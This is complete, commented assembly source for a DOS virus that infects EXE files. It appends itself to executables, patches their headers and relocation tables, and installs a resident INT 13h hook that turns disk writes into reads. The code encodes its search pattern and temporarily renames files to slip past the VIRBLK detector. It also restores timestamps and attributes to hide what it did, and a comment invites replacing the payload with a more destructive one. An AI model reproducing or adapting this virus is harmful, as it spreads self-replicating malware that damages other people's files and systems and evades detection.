;--------------------------------------------------------------------;
; ;
; EXE virus, with resident part ;
; ;
; ---- infecting program ---- ;
; ;
;--------------------------------------------------------------------;
;--------------------------------------------------------------------;
; ;
; WARNING : it's definitely NOT safe to assemble and execute ;
; this code. If anybody has to, I highly reccomend using ;
; a diskette and debugger. ;
; ;
;--------------------------------------------------------------------;
;*********************************************************************
;--------------------------------------------------------------------;
; ;
; The EXE virus concept is as follows: ;
; ;
; First, original Disk Transfer Address is preserved to avoid ;
; changing command-line text. Also initial values of CS, IP, SS, SP ;
; DS and ES are saved (to be restored on exit from virus code). ;
; Virus is to be appended to original code and, of course, has ;
; to be relocated before it's executed. Thus, first we look for ;
; an EXE file. Then we have to know if this is in fact an EXE ;
; (checking for magic 'MZ' signature) and if there is any free space ;
; in relocation table. This is checked by substracting relocation ;
; table end (i.e. sum of table start and number of relocation items, ;
; multiplied by table entry size) from EXE header size. ;
; Smart virus shouldn't infect a file that's already infected. ;
; So first 4 bytes of code to be executed is compared against ;
; virus code. If they match one another, no infection takes place. ;
; Having found suitable file, we compute its code end and append ;
; virus at the end of code, writing alignment to last 512-bytes page ;
; boundary if necessary. Original start address is preserved inside ;
; virus, and CS:IP value in EXE header gets changed, so that virus ;
; code would be executed first. Number of pages gets changed, ;
; together with Last Page Size and Number Of Relocation Items. ;
; New relocation item address is appended to relocation table, ;
; pointing to the segment of the far jump in virus (this is the jump ;
; virus uses to return to original code). ;
; Upon returning from virus, all saved registers and DTA are ;
; restored to reestablish environment state as if no virus existed. ;
; ;
; Virus also installs resident part, if it is not already present. ;
; This part's job is to replace all disk 'writes' with corresponding ;
; 'reads'. It's rather unharmful, but can easily be replaced with ;
; more dangerous one (if somebody is really keen to be called ...). ;
; Instalation can be removed with equal ease, as well. ;
; ;
; The real trouble with EXEs is that DOS pays a little (if any) ;
; attention to Last Page Size. Therefore EXE files ofen have this ;
; zeroed, even if they have some code on the last page. Writing to ;
; last page can cause system crash while infected file is being ;
; executed. To solve the problem, one should first test if EXE file ;
; really ends as the header contents say and move to last page end ;
; instead of appending any bytes, if possible. ;
; ;
; Another problem is infecting EXEs containg debug info. ;
; It comes in various formats, and often contains vital informations ;
; placed behind code. This info gets destroyed when file becomes ;
; infected. I see no solution to this problem, so far. ;
; ;
;--------------------------------------------------------------------;
;********************************************************************;
;--------------------------------------------------------------------;
; ;
; SEGMENT dummy ;
; ;
; Raison d'etre of this segment is to force assembling of ;
; the JMP FAR after the execution of virus code. ;
; ;
; This segment serves also to make it possible for the infecting ;
; program to return to DOS. ;
; ;
;--------------------------------------------------------------------;
dummy segment 'dummy'
assume cs: dummy
d_end label far ; this is the point virus jumps to
; after executing itself
mov ah, 4Ch
int 21h ; DOS EXIT function
dummy ends
;--------------------------------------------------------------------;
; ;
; SEGMENT code ;
; ;
; Code for virus (including its resident part). ;
; ;
; Executed from label start:. Exits via dummy:d_end. ;
; ;
;--------------------------------------------------------------------;
code segment 'code'
public start, jump, old_IP, old_CS, old_DTA,
public next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux
public last_page, page_count, item_count, header_size, table_start
public header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP
public not_ok, time, date, attributes, new_name, found_name
public restore_and_close, dot, seek_dot, next_letter, install_flag
public next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES
public resident, resident_size, l1, call_int, install, set_DS
assume cs : code, ds : code
;--------------------------------------------------------------------;
; ;
; Here are symbolic names for memory locations ;
; ;
;--------------------------------------------------------------------;
; First go names for EXE header contents
EXE_sign equ word ptr [header]
last_page equ word ptr [header + 2]
page_count equ word ptr [header + 4]
item_count equ word ptr [header + 6]
header_size equ word ptr [header + 8]
header_SS equ word ptr [header + 0Eh]
header_SP equ word ptr [header + 10h]
header_IP equ word ptr [header + 14h]
header_CS equ word ptr [header + 16h]
table_start equ word ptr [header + 18h]
; Now names for address of mother program
old_IP equ word ptr [jump + 1]
old_CS equ word ptr [jump + 3]
; Segment to put resident part in, for instance end of 2nd Hercules page
resident_CS equ 0BFFEh
; And label for the name of the file found by Find_First and Find_Next
found_name equ DTA + 1Eh
; Last is virus length
virus_length equ offset header
;------------ Now starts virus code --------------------------------;
; First original values of SS, SP, ES, DS are preserved,
; and new values for this registers are set
start: mov cx, ss ; temporarily save SS in CX
mov dx, sp ; and SP in DX
mov ax, cs ; now AX = CODE
cli ; disable hard ints while changing stack
mov ss, ax ; now SS = CODE
mov sp, 0FFFFh ; and SS points to segment end
sti ; hardware interrupts are OK now
push ds ; preserve DS on stack
push es ; same with ES
push cs
pop ds ; set DS to CODE
mov [old_SS], cx ; now as DS is CODE, we can store
mov [old_SP], dx ; original SS and SP in memory
; Original DTA is preserved now
mov ah, 2Fh
int 21h
mov word ptr [old_DTA], bx ; now ES:BX points to DTA
mov word ptr [old_DTA + 2], es ; save its address in memory
; Call to Get_DTA would have destroyed ES. Now set it
push ds ; set ES to CODE
pop es
; And now new DTA is established for virus disk actions
mov dx, offset DTA ; DS:DX point to new DTA
mov ah, 1Ah
int 21h
; Store original INT_13 vector for use in resident part
mov ax, 3513h
int 21h ; DOS Get_Interrupt_Vector function
mov [int_IP], bx ; now ES:BX holds INT_13 vector
mov [int_CS], es ; store it inside resident part
; Check if resident part already present
mov ax, es ; compare can work with AX
cmp ax, resident_CS ; check if this is resident_CS
jnz install ; no, so install
cmp bx, 0 ; is offset 0 ?
jnz install ; no, so install
; Resident part found, do not install
mov [install_flag], 0 ; signal 'no installing'
jmp short set_ES ; and omit copying code
; Now resident part is moved to its place in memory
install: mov ax, resident_CS
mov es, ax ; ES = segment for resident part
xor di, di ; DI = 0, resident starts from offset 0
mov si, offset resident ; SI = offset in DS for resident part
mov cx, resident_size ; CX = size of resident part
cld ; set auto increment
rep movsb ; copy resident part from DS:SI to ES:DI
mov [install_flag], 1 ; signal 'instal vector'
; Reestablish destroyed ES to CODE
set_ES: push ds
pop es
; Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery
mov si, offset file_name ; name pattern starts there
mov cx, 5 ; and is 5 bytes long
next_letter: inc byte ptr [si] ; decode by incrementing by one
inc si
loop next_letter ; decode all 5 bytes
; Find an EXE file
mov dx, offset file_name ; DS:DX points to '*.EXE'
mov cx, 20h ; search for read-only files too
mov ah, 4Eh ; DOS Find_First function
int 21h ; now DTA gets filled with info
jnc check ; no carry means file found
; jump to check if to infect file
jmp exit ; no EXE file - nothing to do
; Find next EXE file, if necessary
next: mov ah, 4Fh ;DOS Find_Next function
int 21h
jnc check ; see jumps after Find_First
jmp exit ; for explanation
; Check if file should and can be infected
; First of all, get file attributes
check: mov dx, offset found_name ; DS:DX points to found file name
mov ax, 4300h ; DOS Get_File_Attributes function
int 21h ; attributes returned in CX
mov [attributes], cx ; preserve them in memory
; Then change file attributes to 'neutral'
mov dx, offset found_name ; DS:DX points to found file name
xor cx, cx ; CX = 0 - means no attributes set
mov ax, 4301h ; DOS Set_File_Attributes function
int 21h ; attributes to be set in CX
; To avoid being spotted by VIRBLK, rename ????????.EXE to ???????.
mov si, offset found_name ; DS:DX points to found file name
mov di, offset new_name ; ES:DI points to new name
cld ; set auto increment
; Copy old name to new name until dot found
seek_dot: lodsb ; get character at DS:SI
cmp al, '.' ; check if it is a dot
stosb ; copy it anyway to ES:DI
jz dot ; dot found, end of copying
loop seek_dot ; if no dot, copy next character
; DOS requires ASCIIZ strings, so append a byte of 0 to new name
dot: xor al, al ; AL = 0
stosb ; store 0 to byte at ES:DI
; Now rename can be performed
mov dx, offset found_name ; DS:DX points to old name
mov di, offset new_name ; ES:DI points to new name
mov ah, 56h ; DOS Rename_File function
int 21h
; It is safe to open file now
mov dx, offset new_name ; DS:DX points to file name
mov ax, 3D02h ; DOS Open_File_Handle fuction
int 21h ; open file for reading and writing
jc next ; carry set means for some reason
; operation failed
; try to find next file
; Preserve handle for just open file in BX register
mov bx, ax ; all DOS calls require handle in BX
; Now store original file time and date, to be restored on closing the file
mov ax, 5700h ; DOS Get_File_Time_Date function
int 21h ; time returned in CX, date in DX
mov [time], cx ; store time in memory
mov [date], dx ; same with date
; Read EXE header to memory
mov dx, offset header ; DS:DX = place to read header to
mov cx, 1Ah ; header is 1Ah bytes long
mov ah, 3Fh ; DOS Read_Handle function
int 21h
; Check if it is a real EXE, not just EXE-named file
check_EXE: cmp EXE_sign, 5A4Dh ; first two bytes of header should
; contain 'MZ' characters
jne not_ok ; if not, don't proceed with file
; It is EXE, check if it is already infected
; by comparing code start with itself
; Compute where code in file starts
mov ax, [header_CS] ; get start CS for file
add ax, [header_size] ; add header size
mov cx, 16 ; above were in 16 bytes units
mul cx ; so multiply by 16
; DX|AX holds result
add ax, [header_IP] ; add for IP
adc dx, 0 ; propagate carry if necessasry
; Now DX|AX holds file offset for code start, move there
mov cx, dx ; set registers for DOS call
mov dx, ax
mov ax, 4200h ; DOS Move_File_Ptr function
int 21h ; move relatively to start
; Read first four bytes of code
mov dx, offset aux ; DS:DX = place to read code into
mov cx, 4 ; CX = number of bytes to read
mov ah, 3Fh ; DOS Read_Handle function
int 21h
; Compare them with itself
mov di, offset aux ; ES:DI points to code from file
mov si, offset start ; DS:SI points to itself start
mov cx, 2 ; CX = number of words to compare
cld ; set auto increment
repe cmpsw ; compare while equal
je not_ok ; equal = infected, don't proceed
; Check if there is space in relocation table to put one more item
; Calculate where Relocation_Table ends
mov ax, [item_count] ; get number of Relocation Items
inc ax ; add for new one
mov cx, 4 ; each one is 4 bytes long
mul cx ; so multiply by 4
; DX|AX holds result
add ax, [table_start] ; add offset of Relocation_Table
adc dx, 0 ; process carry
; Now DX|AX holds file offset for table end, store it temporarily in DI|SI
mov di, dx ; preserve Relocation_Table offset
mov si, ax
; Calculate where code starts (in file)
mov ax, [header_size] ; get header size for this EXE
mov cx, 10h ; as it is in 16 byte units,
mul cx ; multiply by 16
; DX|AX holds result
; See if there is free space for relocation item
sub ax, si ; substract Relocation_Table end
sbb dx, di
jae ok ; Relocation_Table end not less
; then code start, so there IS room
; If somehow this file is not to be infected, restore it's original state
not_ok: call restore_and_close
jmp next ; nevertheless, try to find infectable one
; File is to be infected now
; First adjust file offset for new relocation item
ok: sub si, 4 ; new item starts 4 bytes
sbb di, 0 ; before Relocation_Table end
; Then preserve temporarily address of the mother code
mov ax, [old_CS] ; preserve jump address via AX
mov [aux_CS], ax ; in memory
mov ax, [old_IP]
mov [aux_IP], ax
; Form inside itself a jump to new mother start
mov ax, [header_IP] ; store new mother CS:IP as jump
mov [old_IP], ax ; do it via AX
mov ax, [header_CS]
mov [old_CS], ax
; Calculate last page alignment
mov cx, [last_page] ; CX = number of bytes in last page
mov ax, 200h ; AX = page size (page is 512 bytes)
sub ax, cx ; CX = alignment to page boundary
mov bp, ax ; preserve alignment in BP
; Calculate new CS:IP values to execute virus instead of mother
mov ax, [page_count] ; get number of pages in new mother
mov cx, 20h ; multiply by 32 to convert to
mul cx ; 16 bytes units
sub ax, [header_size] ; decrease by header size
; Modify header as necessary
mov [header_CS], ax ; AX holds CS for virus
xor ax, ax ; now zero AX
mov [header_IP], ax ; as IP for virus is 0
add [page_count], 2 ; reserve space for virus
inc [item_count] ; there'll be one more item
mov [last_page], offset header ; last page will be as long
; as virus itself
and [last_page], 1FFh ; modulo 512, of course
; Move to file start
xor cx, cx ; start means offset 0
xor dx, dx
mov ax, 4200h ; DOS Move_File_Ptr function
int 21h ; move relatively to start
; Write new header
mov dx, offset header ; DS:DX points to new header
mov cx, 1Ah ; which is still 1A bytes long
mov ah, 40h ; DOS Write_Handle function
int 21h
; Move to new Relocation Item position
mov cx, di ; get stored position from DI|SI
mov dx, si
mov ax, 4200h ; DOS Move_File_Ptr function
int 21h ; move relatively to start
; Write new relocation item
mov [header_IP], offset old_CS ; new Relocation Item offset
; is jump to new mother code
mov dx, offset header_IP ; DS:DX = new relocation item
mov cx, 4 ; exactly 4 bytes long
mov ah, 40h ; DOS Write_Handle function
int 21h
; Calculate file offset for new mother code end
mov ax, [header_CS] ; get mother code lenght
add ax, [header_size] ; add header size
mov cx, 10h ; it's in 16 bytes units
mul cx ; so multiply by 16
sub ax, bp ; last page is not full
sbb dx, 0 ; so move back appropirately
; Move file ptr to mother code end
mov cx, dx ; DX|AX = file offset to code end
mov dx, ax ; set CX|DX for DOS call
mov ax, 4200h ; DOS Move_File_Ptr function
int 21h ; move relatively to start
; Write alignement (no matter what, only number is important)
mov cx, bp ; get alignement amount
mov ah, 40h ; DOS Write_Handle function
int 21h ; write CX bytes
; Now prepare to append itself to EXE file
; First encode EXE name patter anew
mov si, offset file_name ; DS:SI points to name pattern
mov cx, 5 ; it is 5 characters long
next_lttr: dec byte ptr [si] ; encode by decrement
inc si
loop next_lttr ; encode all 5 characters
; All ready, append itself now
xor dx, dx ; DX = 0, start offset for virus code
mov cx, virus_length ; CX = number of bytes to write
mov ah, 40h ; DOS Write_Handle function
int 21h
; No further action involving file will be taken, so restore it's state
call restore_and_close ; restore date and time, close file
; Restore jump to this mother code
mov ax, [aux_CS] ; restore jump addres via AX
mov [old_CS], ax
mov ax, [aux_IP]
mov [old_IP], ax
; All done with infecting, prepare to execute mother
; Restore original DTA
push ds ; preserve DS (now DS = CODE)
exit: lds dx, old_DTA ; get original DTA address to DS:DX
mov ah, 1Ah ; DOS Set_DTA function
int 21h
; Check if install new INT_13 vector
cmp [install_flag], 0 ; 0 means no installing
jz set_DS ; omit installing
; Install resident part
mov ax, resident_CS ; load CS for resident to DS (via AX)
mov ds, ax
xor dx, dx ; DS:DX = address of resident part
mov ax, 2513h ; DOS Set_Interrupt_Vector function
int 21h ; set vector for INT_13
set_DS: pop ds ; restore DS to CODE
mov bx, [old_SS] ; BX = original SS
mov cx, [old_SP] ; CX = original SP
pop es ; restore original DS and ES
pop ds
cli ; disable hardware interrupts
mov sp, cx ; while restoring original SS:SP
mov ss, bx
sti ; enable hardware interrupts
; Virus has done all its job, now let mother do its own
jump: jmp dummy:d_end ; jump to original code
;----------- here is the one and only procedure -------------------;
restore_and_close proc near
; Restore original file time and date
mov cx, [time] ; get saved time
mov dx, [date] ; get saved date
mov ax, 5701h ; DOS Set_File_Time_Date function
int 21h ; time set as CX, date as DX
; Close file
mov ah, 3Eh ; DOS Close_File function
int 21h
; Restore original name
mov dx, offset new_name ; DS:DX points to new name
mov di, offset found_name ; ES:DI points to original name
mov ah, 56h ; DOS Rename_File function
int 21h
; Restore original file attributes
mov dx, offset found_name ; restore attributes
mov cx, [attributes]
mov ax, 4301h ; DOS Set_File_Attributes function
int 21h ; attributes set as CX
ret
restore_and_close endp
;------------ and here go the resident part of the virus -------------;
resident: pushf ; save flags
cmp ah, 3 ; is it Disk_Write_1 ?
jnz l1 ; no, check Disk_Write_2
mov ah, 2 ; yes, convert to Disk_Read_1
jmp short call_int ; and exit resident
l1: cmp ah, 0Bh ; is it Disk_Write_2 ?
jnz call_int ; no, exit resident
mov ah, 0Ah ; yes, convert to Disk_Read_2
call_int: popf ; restore flags
; Next 5 bytes form long jump to original INT_13 handler
db 0EAh ; means JMP FAR
int_IP dw 0 ; and here the address to jump to
int_CS dw 0
resident_size equ $ - resident
;-------- now data for virus, just encoded file name pattern -------;
file_name db ')-DWD', 0
;-------------------------------------------------------------------;
; ;
; Here VIRUS ends. The rest are purely placeholders ;
; ;
;-------------------------------------------------------------------;
;*******************************************************************;
header dw 13 dup (0)
old_SS dw 0
old_SP dw 0
aux_CS dw 0
aux_IP dw 0
old_DTA dd 0
time dw 0
date dw 0
attributes dw 0
install_flag db 0
new_name db 9 dup (0)
DTA dw 2Ch dup (0)
aux dw 2 dup (0)
code ends
end start
